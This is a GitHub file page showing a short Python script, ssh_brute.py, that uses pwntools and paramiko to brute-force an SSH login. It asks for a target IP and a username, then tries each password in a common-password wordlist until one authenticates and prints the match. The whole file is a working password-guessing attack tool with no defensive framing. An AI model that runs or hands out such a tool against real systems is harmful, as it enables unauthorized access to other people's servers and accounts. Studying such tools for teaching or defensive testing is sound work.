-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathssh_brute.py
More file actions
21 lines (19 loc) · 918 Bytes
/
ssh_brute.py
File metadata and controls
21 lines (19 loc) · 918 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
import paramiko
host=input("Enter target IP:\n")
username=input("Enter Username:\n")
attempts = 0
with open("common-ssh-passwords.txt" , "r") as password_list:
for password in password_list:
password = password.strip("\n")
try:
print("[{}] Attempting passworda: '{}'!".format(attempts, password))
response = ssh(host=host, user=username, password=password, timeout=1)
if response.connected():
print("[>] Valid Password found: '{}'!".format(password))
response.close()
break
response.close()
except paramiko.ssh_exception.AuthenticationException:
print("[X] Invalid Password!")
attempts+=1